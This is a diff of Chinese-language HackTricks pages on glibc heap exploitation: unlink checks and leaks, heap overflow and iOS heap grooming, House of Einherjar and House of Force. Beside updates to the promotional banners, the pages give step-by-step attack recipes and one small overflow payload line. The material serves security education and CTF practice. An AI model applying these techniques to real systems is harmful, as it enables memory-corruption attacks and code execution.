|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# unlink
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### 代码
|
||||
```c
|
||||
|
@ -71,8 +72,8 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
### 安全检查
|
||||
|
||||
* 检查指定块的大小是否与下一个块中指示的prev_size相同
|
||||
* 还要检查 `P->fd->bk == P` 和 `P->bk->fw == P`
|
||||
* 如果块不是小块,则检查 `P->fd_nextsize->bk_nextsize == P` 和 `P->bk_nextsize->fd_nextsize == P`
|
||||
* 还要检查`P->fd->bk == P`和`P->bk->fw == P`
|
||||
* 如果块不是小块,则检查`P->fd_nextsize->bk_nextsize == P`和`P->bk_nextsize->fd_nextsize == P`
|
||||
|
||||
### 泄漏
|
||||
|
||||
|
@ -80,26 +81,27 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
|
||||
Libc泄漏:
|
||||
|
||||
* 如果P位于双向链表的头部,则`bk`将指向libc中的`malloc_state`
|
||||
* 如果P位于双向链表的末尾,则`fd`将指向libc中的`malloc_state`
|
||||
* 当双向链表仅包含一个空闲块时,P位于双向链表中,`fd`和`bk`都可以泄漏`malloc_state`内部的地址。
|
||||
* 如果P位于双向链表的头部,`bk`将指向libc中的`malloc_state`
|
||||
* 如果P位于双向链表的末尾,`fd`将指向libc中的`malloc_state`
|
||||
* 当双向链表仅包含一个空闲块时,P位于双向链表中,`fd`和`bk`都可以泄漏`malloc_state`中的地址。
|
||||
|
||||
堆泄漏:
|
||||
|
||||
* 如果P位于双向链表的头部,则`fd`将指向堆中的一个可用块
|
||||
* 如果P位于双向链表的末尾,则`bk`将指向堆中的一个可用块
|
||||
* 如果P位于双向链表中,则`fd`和`bk`都将指向堆中的一个可用块
|
||||
* 如果P位于双向链表的头部,`fd`将指向堆中的一个可用块
|
||||
* 如果P位于双向链表的末尾,`bk`将指向堆中的一个可用块
|
||||
* 如果P位于双向链表中,`fd`和`bk`将指向堆中的一个可用块
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,54 +1,55 @@
|
|||
# 堆溢出
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧**。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
堆溢出类似于[**栈溢出**](../stack-overflow/),但发生在堆中。基本上意味着在堆中保留了一些空间来存储一些数据,**存储的数据大于保留的空间**。
|
||||
堆溢出类似于[**栈溢出**](../stack-overflow/),但发生在堆中。基本上意味着在堆中保留了一些空间来存储一些数据,**存储的数据大于保留的空间。**
|
||||
|
||||
在栈溢出中,我们知道一些寄存器,如指令指针或堆栈帧,将从堆栈中恢复,并且可能会滥用这一点。在堆溢出的情况下,**堆块中默认没有存储任何敏感信息**,可以被溢出。但是,可能是敏感信息或指针,因此此漏洞的**严重性取决于**可以**覆盖哪些数据**以及攻击者如何滥用此漏洞。
|
||||
在栈溢出中,我们知道一些寄存器,如指令指针或堆栈帧,将从堆栈中恢复,并且可能滥用这一点。在堆溢出的情况下,**堆块中默认没有存储任何敏感信息**,可以被溢出。但是,可能是敏感信息或指针,因此此漏洞的**严重性取决于**可以被覆盖的**数据以及攻击者如何滥用此漏洞**。
|
||||
|
||||
{% hint style="success" %}
|
||||
为了找到溢出偏移量,您可以使用与[**栈溢出**](../stack-overflow/#finding-stack-overflows-offsets)相同的模式。
|
||||
{% endhint %}
|
||||
|
||||
### 栈溢出 vs 堆溢出
|
||||
### 栈溢出与堆溢出
|
||||
|
||||
在栈溢出中,当漏洞可以触发时,堆栈中将出现的排列和数据相当可靠。这是因为堆栈是线性的,在冲突内存中始终增加,在程序运行的特定位置,堆栈内存通常存储类似类型的数据,并且具有一些特定结构,每个函数使用的堆栈部分末尾有一些指针。
|
||||
在栈溢出中,当漏洞触发时,堆栈中将出现的排列和数据相当可靠。这是因为堆栈是线性的,在冲突内存中始终增加,在程序运行的特定位置,堆栈内存通常存储类似类型的数据,并且具有一些特定结构,其中堆栈部分的末尾有一些指针。
|
||||
|
||||
然而,在堆溢出的情况下,使用的内存不是线性的,而是**分配的块通常位于内存的分离位置**(不是相邻的),因为**通过大小分隔分配**和因为**在分配新块之前使用先前释放的内存**。很难知道将与易受堆溢出的对象发生冲突的对象是什么。因此,当发现堆溢出时,需要找到一种**可靠的方法**,使期望的对象从可以溢出的对象的旁边**紧邻内存**。
|
||||
然而,在堆溢出的情况下,使用的内存不是线性的,而是**分配的块通常位于内存的分离位置**(不是相邻的),因为**通过大小分隔分配的bin和zone**,以及**在分配新块之前使用先前释放的内存**。很难知道将与易受堆溢出的对象发生冲突的对象是什么。因此,当发现堆溢出时,需要找到一种**可靠的方法**,使期望的对象从易受溢出的对象的旁边进入内存。
|
||||
|
||||
用于此的技术之一是**堆整理**,例如在[**此文章**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)中使用。文章中解释了在iOS内核中,当一个区域耗尽内存以存储内存块时,它会通过内核页扩展,然后将该页分割为预期大小的块,这些块将按顺序使用(直到iOS版本9.2,然后这些块以随机方式使用,以增加这些攻击的利用难度)。
|
||||
用于此目的的技术之一是**堆整理**,例如在[**此文章**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)中使用。文章中解释了在iOS内核中,当一个区域的内存用完以存储内存块时,它会通过内核页扩展,然后将该页分割为预期大小的块,这些块将按顺序使用(直到iOS版本9.2,然后这些块以随机方式使用,以增加这些攻击的利用难度)。
|
||||
|
||||
因此,在先前的文章中,堆溢出发生时,为了强制溢出的对象与受害者顺序发生冲突,通过几个线程强制执行**`kallocs`**以确保所有空闲块都被填充,并创建一个新页面。
|
||||
因此,在先前的文章中,发生堆溢出时,为了强制溢出的对象与受害者顺序发生冲突,通过几个线程强制执行几个**`kallocs`**,以确保所有空闲块都被填充,并创建一个新页面。
|
||||
|
||||
为了强制使用特定大小的对象填充此空间,与iOS mach端口相关联的**离线分配**是一个理想的选择。通过精心制作消息的大小,可以精确指定`kalloc`分配的大小,当相应的mach端口被销毁时,相应的分配将立即释放回`kfree`。
|
||||
为了强制使用特定大小的对象填充此对象,与iOS mach端口相关联的**离线分配**是一个理想的选择。通过精心制作消息的大小,可以精确指定`kalloc`分配的大小,当相应的mach端口被销毁时,相应的分配将立即释放回`kfree`。
|
||||
|
||||
然后,可以**释放**其中一些占位符。**`kalloc.4096`**空闲列表以后进先出的顺序释放元素,这基本上意味着如果释放了一些占位符,并且尝试在分配易受堆溢出的对象时分配多个受害者对象,那么很可能该对象将被受害者对象跟随。
|
||||
然后,可以**释放**其中一些占位符。**`kalloc.4096`**空闲列表以后进先出的顺序释放元素,这基本上意味着如果释放了一些占位符,并且尝试在分配易受溢出的对象时分配多个受害者对象,那么很可能该对象将被受害者对象跟随。
|
||||
|
||||
### 示例libc
|
||||
|
||||
在[**此页面**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html)中,可以找到一个基本的堆溢出仿真,展示了如何通过覆盖下一个块的使用中的前一个位和前一个大小的位置,可以**合并一个已使用的块**(使其认为未使用),然后再次分配它,从而能够覆盖正在不同指针中使用的数据。
|
||||
|
||||
来自[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html)的另一个示例展示了一个CTF的非常基本示例,其中可以滥用**堆溢出**来调用获得**标志的winner函数**。
|
||||
另一个来自[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html)的示例展示了一个CTF的非常基本的示例,其中可以滥用**堆溢出**来调用获得**标志的winner函数**。
|
||||
|
||||
在[**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html)示例中,可以看到如何通过滥用缓冲区溢出,可以**覆盖附近块中的地址**,其中**用户的任意数据**将被写入。
|
||||
|
||||
### 示例ARM64
|
||||
|
||||
在页面[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)中,您可以找到一个堆溢出示例,其中将要执行的命令存储在溢出块的下一个块中。因此,可以通过覆盖它来修改要执行的命令,例如使用简单的利用方式:
|
||||
在页面[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)中,您可以找到一个堆溢出示例,其中将要执行的命令存储在溢出块的下一个块中。因此,可以通过用易受攻击的方式覆盖它来修改要执行的命令,例如:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
|
@ -57,3 +58,18 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
|||
* [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
* 我们利用整数溢出漏洞来实现堆溢出。
|
||||
* 我们损坏了溢出块中的`struct`内的函数指针,以设置诸如`system`之类的函数,并实现代码执行。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
# Einherjar之屋
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)的收藏
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
### 代码
|
||||
|
||||
* 查看示例:[https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
* 或者查看:[https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation)(您可能需要填充tcache)
|
||||
* 或者查看:[https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation)(可能需要填充tcache)
|
||||
|
||||
### 目标
|
||||
|
||||
|
@ -27,33 +28,48 @@
|
|||
|
||||
### 要求
|
||||
|
||||
* 当我们想要分配一个块时,创建一个假块:
|
||||
* 当我们想要分配一个块时,创建一个伪造的块:
|
||||
* 设置指针指向自身以绕过完整性检查
|
||||
* 通过一个块到下一个块的一个字节溢出,使用空字节修改`PREV_INUSE`标志。
|
||||
* 在被滥用的块的`prev_size`中指示自身与假块之间的差异
|
||||
* 假块的大小也必须设置为相同的大小以绕过完整性检查
|
||||
* 要构造这些块,您将需要一个堆泄漏。
|
||||
* 在被滥用的块的`prev_size`中指示自身与伪造块之间的差异
|
||||
* 伪造块的大小也必须设置为相同大小以绕过完整性检查
|
||||
* 为构造这些块,您将需要一个堆泄漏。
|
||||
|
||||
### 攻击
|
||||
|
||||
* 攻击者在受攻击者控制的块内创建一个假块,用`fd`和`bk`指向原始块以绕过保护
|
||||
* 攻击者在一个受攻击者控制的块内创建一个伪造块,用`fd`和`bk`指向原始块以绕过保护
|
||||
* 分配2个其他块(`B`和`C`)
|
||||
* 在`B`中滥用`prev in use`,清除`prev_size`数据,并用`C`块分配的位置与之前生成的假`A`块之间的差异进行覆盖
|
||||
* 这个`prev_size`和假块`A`中的大小必须相同以绕过检查。
|
||||
* 在`B`中滥用`prev in use`,清除`prev_size`数据,并用`C`块分配的位置与之前生成的伪造`A`块之间的差异进行覆盖
|
||||
* 这个`prev_size`和伪造块`A`中的大小必须相同以绕过检查。
|
||||
* 然后,填充tcache
|
||||
* 然后,释放`C`,使其与假块`A`合并
|
||||
* 然后,创建一个新块`D`,它将从假`A`块开始,覆盖`B`块
|
||||
* 然后,释放`C`,使其与伪造块`A`合并
|
||||
* 然后,创建一个新块`D`,它将从伪造`A`块开始,覆盖`B`块
|
||||
* Einherjar之屋到此结束
|
||||
* 这可以继续进行快速bin攻击或Tcache污染:
|
||||
* 释放`B`以将其添加到快速bin / Tcache
|
||||
* 覆盖`B`的`fd`,使其指向目标地址,滥用包含`B`的`D`块(因为它包含`B`) 
|
||||
* 然后,执行2次malloc,第二次将**分配目标地址**
|
||||
* 然后,进行2次malloc,第二次将**分配目标地址**
|
||||
|
||||
## 参考和其他示例
|
||||
|
||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
* **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad)
|
||||
* 释放指针后,它们没有被置空,因此仍然可以访问它们的数据。因此,在未排序的bin中放置一个块,并泄漏它包含的指针(libc泄漏),然后在未排序的bin中放置一个新堆,并从它获得的指针泄漏一个堆地址。
|
||||
* 在释放指针后,它们没有被置空,因此仍然可以访问它们的数据。因此,在未排序的bin中放置一个块,并泄漏它包含的指针(libc泄漏),然后在未排序的bin中放置一个新堆,并从它获得的指针泄漏一个堆地址。
|
||||
* [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
|
||||
* `strtok`中的空字节溢出漏洞。
|
||||
* 使用Einherjar之屋获取重叠块情况,并最终通过Tcache污染获得任意写入权限。
|
||||
* 使用Einherjar之屋获得重叠块情况,并最终通过Tcache污染获得任意写入原语。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,25 @@
|
|||
# 强制之屋
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
### 代码
|
||||
|
||||
* 这种技术已被修补([**在此处**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)),并产生此错误:`malloc(): corrupted top size`
|
||||
* 这种技术已被修补 ([**这里**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)),并产生以下错误:`malloc(): corrupted top size`
|
||||
* 您可以尝试[**这里的代码**](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html)进行测试。
|
||||
|
||||
### 目标
|
||||
|
@ -29,14 +28,14 @@
|
|||
|
||||
### 要求
|
||||
|
||||
* 允许覆盖顶部块头大小的溢出(例如-1)。
|
||||
* 能够控制堆分配的大小
|
||||
* 允许覆盖顶部块头部大小(例如 -1)的溢出。
|
||||
* 能够控制堆分配的大小。
|
||||
|
||||
### 攻击
|
||||
|
||||
如果攻击者想要在地址P中分配一个块以覆盖这里的值。他首先通过将顶部块大小覆盖为`-1`(可能通过溢出)来开始。这确保了malloc不会为任何分配使用mmap,因为顶部块始终有足够的空间。
|
||||
如果攻击者想要在地址 P 中分配一个块以覆盖这里的值。他首先通过将顶部块大小覆盖为 `-1`(可能通过溢出)来开始。这确保了 malloc 不会为任何分配使用 mmap,因为顶部块始终有足够的空间。
|
||||
|
||||
然后,计算顶部块地址和目标空间之间的距离以进行分配。这是因为将执行具有该大小的malloc以将顶部块移动到该位置。这就是差异/大小可以轻松计算的方式:
|
||||
然后,计算顶部块地址和目标空间之间的距离以进行分配。这是因为将执行具有该大小的 malloc 以将顶部块移动到该位置。这就是差异/大小可以轻松计算的方式:
|
||||
```c
|
||||
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
|
||||
/*
|
||||
|
@ -49,7 +48,7 @@
|
|||
* req = target - old_top - 4*sizeof(long)
|
||||
*/
|
||||
```
|
||||
因此,分配`目标 - old_top - 4*sizeof(long)`的大小(4个long是因为顶部块的元数据和分配新块时的元数据)将把顶部块移动到我们想要覆盖的地址。\
|
||||
因此,分配`目标地址 - 旧top地址 - 4*sizeof(long)`的大小(4个long是因为顶部块的元数据和分配新块时的元数据)将把顶部块移动到我们想要覆盖的地址。\
|
||||
然后,再次执行malloc以在目标地址获取一个块。
|
||||
|
||||
### 参考资料和其他示例
|
||||
|
@ -60,15 +59,15 @@
|
|||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c)
|
||||
* [https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html)
|
||||
